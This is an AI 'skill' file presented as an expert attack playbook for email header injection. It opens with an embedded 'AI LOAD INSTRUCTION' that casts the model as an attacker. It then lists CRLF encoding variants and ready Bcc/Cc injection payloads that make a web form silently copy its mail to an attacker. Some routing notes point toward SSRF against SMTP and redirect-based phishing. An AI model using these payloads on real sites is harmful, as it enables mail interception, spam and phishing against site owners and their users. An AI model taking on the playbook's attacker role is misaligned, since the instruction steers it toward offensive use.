email-header-injection

SKILL: Email Header Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.

0. RELATED ROUTING

• crlf-injection — general CRLF injection; email headers are a specific high-value sink
• ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
• open-redirect — redirect in password-reset emails as phishing amplification

---

1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: [email protected]\r\n
  Subject: Contact Form\r\n
  From: [email protected]\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: [email protected]\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: [email protected]\r\n

Encoding variants to try

Encoding	Payload
URL-encoded	%0d%0a
Double URL-encoded	%250d%250a
Unicode	\u000d\u000a
Raw CRLF	\r\n (in raw request)
LF only	%0a (some SMTP servers accept LF without CR)
Null byte + CRLF	%00%0d%0a

---

2. ATTACK SCENARIOS

2.1 BCC Injection — Silent Email Exfiltration

Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]

Result headers:
  From: John
  Cc: [email protected]
  Bcc: [email protected]
  ... (original headers continue)